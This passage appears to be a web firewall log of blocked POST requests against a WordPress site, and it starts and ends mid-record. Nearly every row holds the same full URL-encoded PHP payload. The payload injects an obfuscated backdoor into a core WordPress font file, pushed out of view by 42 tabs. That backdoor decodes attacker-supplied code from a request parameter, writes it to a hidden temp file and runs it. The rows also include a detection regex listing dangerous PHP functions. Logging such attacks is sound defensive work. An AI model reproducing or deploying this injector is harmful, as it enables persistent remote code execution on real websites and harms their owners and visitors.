%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:4356\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nyG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:31","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pt:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4356\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHUDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nPt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:34","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Un:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncontent-length:4356\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJ4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nUn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524tkn%2529%2520%257B%2520if%2520%2528is_writable%2528%2524tkn%2529%2520%2526%2526%2520is_dir%2528%2524tkn%2529%2529%2520%257B%2520%2524hld%2520%253D%2520%2522%2524tkn\/.factor%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524hld%252C%2520%2524key%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524hld%253B%2520%2540unlink%2528%2524hld%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:46:36","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/fonts\/class-wp-font-face.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%2529%2529%257B%2520%2524entity%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70s%255Cx65t%2522%255D%253B%2520%2524entity%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524entity%2520%2529%2520%253B%2520%2524key%2520%253D%2520%2527%2527%253B%2520%2524salt%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt%2529%253B%2520%2524n%2520%253D%25200%253B%2520while%2520%2528%2524n%2520%253C%2520count%2528%2524entity%2529%2529%2520%257B%2520%2524v5%2520%253D%2520%2524entity%255B%2524n%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt%255B%2524n%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252070%253B%2520%2524key%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528